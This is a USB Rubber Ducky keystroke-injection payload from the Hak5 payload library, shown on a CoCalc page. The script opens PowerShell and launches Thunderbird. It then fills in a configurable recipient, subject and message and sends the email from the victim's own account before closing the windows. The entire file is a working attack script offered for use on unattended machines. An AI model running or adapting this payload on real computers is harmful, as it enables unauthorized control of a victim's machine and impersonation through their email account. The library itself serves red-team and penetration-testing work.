Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/SendEmailThroughThunderbird/payload.txt
3018 views
1
REM ########################################################
2
REM # |
3
REM # Title : Send Email Through Thunderbird |
4
REM # Author : Aleff |
5
REM # Version : 1.0 |
6
REM # Category : Execution |
7
REM # Target : Windows 10/11 - Linux(debian tested) |
8
REM # |
9
REM ########################################################
10
11
12
REM Requirements:
13
REM - Internet Connection
14
REM - Thunderbird installed and email configured
15
REM - ExecutionPolicy Bypass (for Windows target)
16
17
REM This payload is tested on:
18
REM - Ubuntu 23.04
19
REM - Windows 11
20
21
REM REQUIRED - Set receiver email address
22
DEFINE EMAIL-ADDRESS [email protected]
23
24
REM REQUIRED - Set email Subject
25
DEFINE SUBJECT example
26
27
REM REQUIRED - Set email message
28
DEFINE MESSAGE example
29
30
31
REM # PowerShell
32
DELAY 1000
33
GUI r
34
DELAY 1000
35
STRING powershell
36
ENTER
37
DELAY 2000
38
STRINGLN Start-Process "thunderbird.exe"
39
DELAY 4000
40
41
REM # Thunderbird
42
CTRL n
43
DELAY 2000
44
STRING EMAIL-ADDRESS
45
DELAY 500
46
TAB
47
DELAY 500
48
TAB
49
DELAY 500
50
STRING SUBJECT
51
DELAY 500
52
TAB
53
DELAY 500
54
STRING MESSAGE
55
DELAY 500
56
CTRL ENTER
57
DELAY 2000
58
ENTER
59
60
REM # End actions
61
DELAY 2000
62
ALT F4
63
DELAY 1000
64
ALT F4
65
66